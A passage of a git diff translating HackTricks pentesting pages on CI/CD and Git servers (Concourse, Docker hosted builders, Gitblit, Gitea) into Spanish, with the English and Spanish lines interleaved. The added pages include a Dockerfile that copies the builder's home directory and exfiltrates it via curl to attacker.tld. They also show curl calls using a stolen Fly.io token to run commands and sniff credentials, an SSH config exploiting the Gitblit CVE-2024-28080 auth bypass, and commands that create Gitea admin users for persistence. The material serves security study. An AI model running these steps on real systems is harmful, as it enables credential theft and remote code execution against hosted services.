-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
Sin embargo, el servidor web está verificando cada pocos segundos los contenedores que se están ejecutando, y si se descubre uno inesperado, será eliminado. Como la comunicación se realiza a través de HTTP, podrías manipular la comunicación para evitar la eliminación de contenedores inesperados:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -436,11 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## References
## Referencias
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,26 +1,23 @@
# Concourse Lab Creation
# Creación del Laboratorio Concourse
{{#include ../../banners/hacktricks-training.md}}
## Testing Environment
## Entorno de Pruebas
### Running Concourse
### Ejecutando Concourse
#### With Docker-Compose
This docker-compose file simplifies the installation to do some tests with concourse:
#### Con Docker-Compose
Este archivo docker-compose simplifica la instalación para realizar algunas pruebas con concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
Puedes descargar la línea de comandos `fly` para tu sistema operativo desde la web en `127.0.0.1:8080`
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
#### Con Kubernetes (Recomendado)
Puedes desplegar fácilmente concourse en **Kubernetes** (en **minikube** por ejemplo) utilizando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
Después de generar el entorno de concourse, podrías generar un secreto y dar acceso al SA que se ejecuta en concourse web para acceder a los secretos de K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### Crear Pipeline
### Create Pipeline
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
Un pipeline está compuesto por una lista de [Jobs](https://concourse-ci.org/jobs.html) que contiene una lista ordenada de [Steps](https://concourse-ci.org/steps.html).
### Steps
Several different type of steps can be used:
Se pueden utilizar varios tipos diferentes de pasos:
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
- **el** [**`task` step**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html)
- el [`get` step](https://concourse-ci.org/get-step.html) obtiene un [recurso](https://concourse-ci.org/resources.html)
- el [`put` step](https://concourse-ci.org/put-step.html) actualiza un [recurso](https://concourse-ci.org/resources.html)
- el [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html)
- el [`load_var` step](https://concourse-ci.org/load-var-step.html) carga un valor en una [var local](https://concourse-ci.org/vars.html#local-vars)
- el [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) ejecuta pasos en paralelo
- el [`do` step](https://concourse-ci.org/do-step.html) ejecuta pasos en secuencia
- el modificador [`across` step](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable
- el [`try` step](https://concourse-ci.org/try-step.html) intenta ejecutar un paso y tiene éxito incluso si el paso falla
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Cada [step](https://concourse-ci.org/steps.html) en un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
Por lo tanto, es posible indicar el tipo de contenedor en el que cada paso necesita ser ejecutado.
### Ejemplo de Pipeline Simple
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,25 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
Verifica **127.0.0.1:8080** para ver el flujo de la tubería.
Check **127.0.0.1:8080** to see the pipeline flow.
### Script de Bash con tubería de salida/entrada
### Bash script with output/input pipeline
Es posible **guardar los resultados de una tarea en un archivo** e indicar que es una salida y luego indicar la entrada de la siguiente tarea como la salida de la tarea anterior. Lo que hace concourse es **montar el directorio de la tarea anterior en la nueva tarea donde puedes acceder a los archivos creados por la tarea anterior**.
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
### Disparadores
### Triggers
No necesitas activar los trabajos manualmente cada vez que necesites ejecutarlos, también puedes programarlos para que se ejecuten cada vez:
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
- Pasa un tiempo: [Time resource](https://github.com/concourse/time-resource/)
- En nuevos commits a la rama principal: [Git resource](https://github.com/concourse/git-resource)
- Nuevas PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Obtener o enviar la última imagen de tu aplicación: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
Consulta un ejemplo de tubería YAML que se activa con nuevos commits en master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,101 @@
# Abuso del Docker Build Context en Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el contexto en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrate secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens robados del registry también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización.
## Superficie de ataque
Muchos servicios de hosted builder/registry hacen más o menos esto al construir imágenes enviadas por usuarios:
- Leer una config a nivel de repo que incluye:
- build context path (enviado al Docker daemon)
- Dockerfile path relativo a ese contexto
- Copiar el directorio de build context indicado y el Dockerfile al Docker daemon
- Construir la imagen y ejecutarla como un servicio alojado
Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user formen parte del build context y estén disponibles para COPY en el Dockerfile.
Restricciones prácticas comúnmente observadas:
- El Dockerfile debe residir dentro de la ruta de contexto elegida y su ruta debe conocerse de antemano.
- El build user debe tener permisos de lectura sobre los archivos incluidos en el contexto; archivos de dispositivo especiales pueden romper la copia.
## PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Notas:
- Usar ".." a menudo resuelve al directorio home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles.
- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto padre expandido.
## PoC: Dockerfile para ingest y exfiltrate el contexto del host
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Objetivos comúnmente recuperados desde $HOME:
- ~/.docker/config.json (autenticaciones/tokens del registry)
- Otras caches y configuraciones de cloud/CLI (p. ej., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto vulnerable en el lado de la plataforma aún rige lo que se envía al daemon. Si la plataforma copia la ruta elegida al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse.
## Pivot a la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API)
Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la API del proveedor.
Ejemplos de llamadas a la API contra Fly.io Machines API usando el token robado de ~/.docker/config.json:
Enumerar apps en una org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Ejecutar un comando como root dentro de cualquier máquina de una app:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Resultado: a nivel de la organización remote code execution en todas las aplicaciones alojadas donde el token tenga privilegios suficientes.
## Robo de secretos de servicios alojados comprometidos
Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar prompt-injection attacks. Ejemplo: instala tcpdump y captura tráfico HTTP en el puerto 8080 para extraer credenciales entrantes.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Las solicitudes capturadas a menudo contienen credenciales de cliente en headers, bodies o query params.
## Referencias
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,12 @@
# Gitblit Security
# Seguridad de Gitblit
{{#include ../../banners/hacktricks-training.md}}
## What is Gitblit
## ¿Qué es Gitblit
Gitblit is a selfhosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
Gitblit es un servidor Git autoalojado escrito en Java. Puede ejecutarse como un JAR independiente o en servlet containers y proporciona un servicio SSH embebido (Apache MINA SSHD) para Git over SSH.
## Topics
## Temas
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
@@ -14,8 +14,8 @@ Gitblit is a selfhosted Git server written in Java. It can run as a standalon
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## References
## Referencias
- [Gitblit project](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,17 @@
# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
# Gitblit Bypass de autenticación SSH embebido (CVE-2024-28080)
{{#include ../../banners/hacktricks-training.md}}
## Summary
## Resumen
CVE-2024-28080 is an authentication bypass in Gitblits embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that users public keys can authenticate without the private key and without the password.
CVE-2024-28080 es un bypass de autenticación en el servicio SSH embebido de Gitblit debido a un manejo incorrecto del estado de sesión al integrarse con Apache MINA SSHD. Si una cuenta de usuario tiene al menos una SSH public key registrada, un atacante que conozca el username y cualquiera de las public keys de ese usuario puede autenticarse sin la private key y sin la password.
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
## Root cause (state leaks between SSH methods)
@@ -26,34 +26,30 @@ Highlevel flawed flow:
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
## Stepbystep exploitation
## Explotación paso a paso
- Collect a victims username and one of their public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the publickey acceptance path on the server.
Example SSH client config (no private key available):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Connect and press Enter at the password prompt (or type any string):
Conéctese y presione Enter en el aviso de contraseña (o escriba cualquier cadena):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Authentication succeeds because the earlier publickey phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
@@ -74,9 +70,9 @@ Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Gi
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
@@ -92,8 +88,8 @@ Practical tips:
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)

View File

@@ -1,141 +1,130 @@
# Gitea Security
# Seguridad de Gitea
{{#include ../../banners/hacktricks-training.md}}
## What is Gitea
## ¿Qué es Gitea?
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
**Gitea** es una solución de **hosting de código ligero gestionada por la comunidad y autoalojada** escrita en Go.
![](<../../images/image (160).png>)
### Basic Information
### Información Básica
{{#ref}}
basic-gitea-information.md
{{#endref}}
## Lab
To run a Gitea instance locally you can just run a docker container:
## Laboratorio
Para ejecutar una instancia de Gitea localmente, solo puedes ejecutar un contenedor de docker:
```bash
docker run -p 3000:3000 gitea/gitea
```
Conéctese al puerto 3000 para acceder a la página web.
Connect to port 3000 to access the web page.
You could also run it with kubernetes:
También podría ejecutarlo con kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## Enumeración No Autenticada
## Unauthenticated Enumeration
- Repos públicos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Usuarios registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Organizaciones registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre los repos de otras organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**.
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
## Explotación Interna
## Internal Exploitation
Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github.
For this scenario we are going to suppose that you have obtained some access to a github account.
### Con Credenciales de Usuario/Cookie Web
### With User Credentials/Web Cookie
Si de alguna manera ya tienes credenciales para un usuario dentro de una organización (o robaste una cookie de sesión) puedes **simplemente iniciar sesión** y verificar qué **permisos tienes** sobre qué **repos,** en **qué equipos** estás, **listar otros usuarios**, y **cómo están protegidos los repos.**
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
Ten en cuenta que **se puede usar 2FA** así que solo podrás acceder a esta información si también puedes **pasar esa verificación**.
> [!NOTE]
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> Ten en cuenta que si **logras robar la cookie `i_like_gitea`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA.
### With User SSH Key
### Con Clave SSH de Usuario
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
Gitea permite a los **usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA).
Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de gitea para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repos y el usuario al que tienes acceso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Si el usuario ha configurado su nombre de usuario como su nombre de usuario de gitea, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\<gitea_username>.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada.
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
**Las claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Usualmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### Claves GPG
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Como se explicó [**aquí**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), a veces es necesario firmar los commits o podrías ser descubierto.
Verifica localmente si el usuario actual tiene alguna clave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Con Token de Usuario
### With User Token
Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-gitea-information.md#personal-access-tokens).
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
Un token de usuario puede ser utilizado **en lugar de una contraseña** para **autenticar** contra el servidor de Gitea [**a través de la API**](https://try.gitea.io/api/swagger#/). tendrá **acceso completo** sobre el usuario.
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
### Con Aplicación Oauth
### With Oauth Application
Para una introducción sobre [**Aplicaciones Oauth de Gitea consulta la información básica**](./#with-oauth-application).
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las acepten probablemente como parte de una campaña de phishing.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Como se explicó en la información básica, la aplicación tendrá **acceso total sobre la cuenta del usuario**.
As explained in the basic information, the application will have **full access over the user account**.
### Bypass de Protección de Ramas
### Branch Protection Bypass
En Github tenemos **github actions** que por defecto obtienen un **token con acceso de escritura** sobre el repositorio que puede ser utilizado para **eludir las protecciones de ramas**. En este caso eso **no existe**, por lo que los bypass son más limitados. Pero veamos qué se puede hacer:
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
- **Habilitar Push**: Si alguien con acceso de escritura puede hacer push a la rama, simplemente haz push a ella.
- **Whitelist Restricted Push**: De la misma manera, si eres parte de esta lista haz push a la rama.
- **Habilitar Merge Whitelist**: Si hay una lista blanca de merges, necesitas estar dentro de ella.
- **Requerir aprobaciones mayores que 0**: Entonces... necesitas comprometer a otro usuario.
- **Restringir aprobaciones a los que están en la lista blanca**: Si solo los usuarios en la lista blanca pueden aprobar... necesitas comprometer a otro usuario que esté dentro de esa lista.
- **Desestimar aprobaciones obsoletas**: Si las aprobaciones no se eliminan con nuevos commits, podrías secuestrar un PR ya aprobado para inyectar tu código y fusionar el PR.
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
- **Require approvals is bigger than 0**: Then... you need to compromise another user
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
Ten en cuenta que **si eres un administrador de org/repositorio** puedes eludir las protecciones.
Note that **if you are an org/repo admin** you can bypass the protections.
### Enumerar Webhooks
### Enumerate Webhooks
**Webhooks** son capaces de **enviar información específica de gitea a algunos lugares**. Podrías ser capaz de **explotar esa comunicación**.\
Sin embargo, generalmente se establece un **secreto** que no puedes **recuperar** en el **webhook** que **previene** que usuarios externos que conocen la URL del webhook pero no el secreto **exploten ese webhook**.\
Pero en algunas ocasiones, las personas en lugar de establecer el **secreto** en su lugar, lo **establecen en la URL** como un parámetro, por lo que **verificar las URLs** podría permitirte **encontrar secretos** y otros lugares que podrías explotar más adelante.
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
Los webhooks pueden ser establecidos a **nivel de repositorio y de organización**.
Webhooks can be set at **repo and at org level**.
## Post Explotación
## Post Exploitation
### Dentro del servidor
### Inside the server
Si de alguna manera lograste entrar en el servidor donde se está ejecutando gitea, deberías buscar el archivo de configuración de gitea. Por defecto se encuentra en `/data/gitea/conf/app.ini`
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
En este archivo puedes encontrar **claves** y **contraseñas**.
In this file you can find **keys** and **passwords**.
En la ruta de gitea (por defecto: /data/gitea) también puedes encontrar información interesante como:
In the gitea path (by default: /data/gitea) you can find also interesting information like:
- La base de datos **sqlite**: Si gitea no está utilizando una base de datos externa, utilizará una base de datos sqlite.
- Las **sesiones** dentro de la carpeta de sesiones: Ejecutando `cat sessions/*/*/*` puedes ver los nombres de usuario de los usuarios conectados (gitea también podría guardar las sesiones dentro de la base de datos).
- La **clave privada jwt** dentro de la carpeta jwt.
- Más **información sensible** podría encontrarse en esta carpeta.
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
- The **jwt private key** inside the jwt folder
- More **sensitive information** could be found in this folder
Si estás dentro del servidor también puedes **usar el binario `gitea`** para acceder/modificar información:
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
- `gitea dump` will dump gitea and generate a .zip file
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
- `gitea admin user change-password --username admin --password newpassword` Change the password
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
